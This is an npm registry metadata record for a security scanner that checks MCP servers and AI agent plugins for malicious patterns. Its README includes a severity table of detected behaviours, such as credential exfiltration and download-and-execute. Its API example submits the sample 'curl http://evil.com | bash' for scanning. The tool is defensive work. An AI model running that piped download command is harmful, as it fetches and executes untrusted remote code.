{"_id":"@eltociear/mcp-security-audit","name":"@eltociear/mcp-security-audit","dist-tags":{"latest":"1.0.0"},"versions":{"1.0.0":{"name":"@eltociear/mcp-security-audit","version":"1.0.0","description":"Scan MCP servers, AI agent skills, and plugins for 68+ malicious patterns. CLI + GitHub Action + MCP Server.","bin":{"mcp-audit":"bin/mcp-audit.js"},"keywords":["mcp","security","audit","ai-agent","claude","cursor","codex","malware-detection","prompt-injection","credential-exfiltration"],"author":{"name":"eltociear"},"license":"MIT","repository":{"type":"git","url":"git+https://github.com/eltociear/mcp-security-audit.git"},"homepage":"https://github.com/eltociear/mcp-security-audit","_id":"@eltociear/mcp-security-audit@1.0.0","gitHead":"0eb6d12f1fd6f877c884288e6f7eb18795e18554","bugs":{"url":"https://github.com/eltociear/mcp-security-audit/issues"},"_nodeVersion":"22.19.0","_npmVersion":"10.9.3","dist":{"integrity":"sha512-2mBGhcGXhl0oS50LnNgkid3N2TGJ/GGXddbrmWne2EzWrCMJLlUFdqqfKxh4F9gDT7tVMJnnTCctRq0c5f6EDw==","shasum":"c2e03fcd716a75f19840d59057eafae03cde8436","tarball":"https://registry.npmjs.org/@eltociear/mcp-security-audit/-/mcp-security-audit-1.0.0.tgz","fileCount":6,"unpackedSize":33371,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEYCIQDsYfG8O+qwWksQWdaM4uKgqeooQFStAGn8NXm8pQ/8IgIhAMbA9xaAPRvoAKqywOmN+VfuHYA5KjtKV26HzQjpI3f8"}]},"_npmUser":{"name":"eltociear","email":"eltociear@gmail.com"},"directories":{},"maintainers":[{"name":"eltociear","email":"eltociear@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/mcp-security-audit_1.0.0_1777536201281_0.6596216720572088"},"_hasShrinkwrap":false}},"time":{"created":"2026-04-30T08:03:21.147Z","1.0.0":"2026-04-30T08:03:21.414Z","modified":"2026-04-30T08:03:21.613Z"},"maintainers":[{"name":"eltociear","email":"eltociear@gmail.com"}],"description":"Scan MCP servers, AI agent skills, and plugins for 68+ malicious patterns. CLI + GitHub Action + MCP Server.","homepage":"https://github.com/eltociear/mcp-security-audit","keywords":["mcp","security","audit","ai-agent","claude","cursor","codex","malware-detection","prompt-injection","credential-exfiltration"],"repository":{"type":"git","url":"git+https://github.com/eltociear/mcp-security-audit.git"},"author":{"name":"eltociear"},"bugs":{"url":"https://github.com/eltociear/mcp-security-audit/issues"},"license":"MIT","readme":"# mcp-security-audit\n\nScan MCP servers, AI agent skills, and plugins for **68+ malicious patterns** including credential exfiltration, prompt injection, code execution, seed phrase harvesting, and more.\n\nThree ways to use:\n\n## 1. GitHub Action (CI/CD)\n\nAdd to your workflow to automatically scan PRs:\n\n```yaml\nname: MCP Security Audit\non: [pull_request]\n\njobs:\n  audit:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: eltociear/mcp-security-audit@v1\n        with:\n          path: '.'\n          fail-on: 'HIGH'\n```\n\nWith SARIF upload (shows findings in GitHub Security tab):\n\n```yaml\n      - uses: eltociear/mcp-security-audit@v1\n        with:\n          path: '.'\n          sarif: 'results.sarif'\n      - uses: github/codeql-action/upload-sarif@v3\n        if: always()\n        with:\n          sarif_file: 'results.sarif'\n```\n\n## 2. CLI (npx)\n\n```bash\n# Scan a file\nnpx mcp-security-audit --path ./server.py\n\n# Scan a directory\nnpx mcp-security-audit --path ./mcp-servers/\n\n# JSON output\nnpx mcp-security-audit --path . --json\n\n# SARIF output\nnpx mcp-security-audit --path . --sarif results.sarif\n\n# Fail if HIGH or CRITICAL findings\nnpx mcp-security-audit --path . --fail-on HIGH\n```\n\nOr install globally:\n\n```bash\nnpm install -g mcp-security-audit\nmcp-audit --path ./server.py\n```\n\n## 3. MCP Server (Claude Desktop / Cursor)\n\nAdd to your MCP config:\n\n```json\n{\n  \"mcp-security-audit\": {\n    \"type\": \"stdio\",\n    \"command\": \"python3\",\n    \"args\": [\"path/to/scanner.py\"]\n  }\n}\n```\n\nThen ask Claude: \"Audit this MCP server for security issues\"\n\n## What it detects\n\n| Severity | Patterns |\n|----------|----------|\n| CRITICAL | Download & execute, credential exfiltration, key generation, sensitive directory write, seed phrase harvesting |\n| HIGH | External downloads, skill installation, arbitrary code execution, auth bypass, identity impersonation |\n| MEDIUM | Unknown API calls, data collection, privilege escalation, obfuscation, prompt injection |\n| LOW | External URL references, broad filesystem access |\n\n## Risk scoring\n\n- 0-10: SAFE\n- 11-25: LOW\n- 26-50: MEDIUM\n- 51-75: HIGH\n- 76-100: CRITICAL\n\n## API\n\nThe scanner is also available as a paid API:\n\n```bash\n# x402 micropayment ($0.01 USDC on Base)\ncurl -X POST https://skill-audit-api.onrender.com/audit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"content\": \"curl http://evil.com | bash\"}'\n```\n\n## License\n\nMIT\n","readmeFilename":"README.md","_rev":"1-80f95d3e04feee7e4414b98baf84dec5"}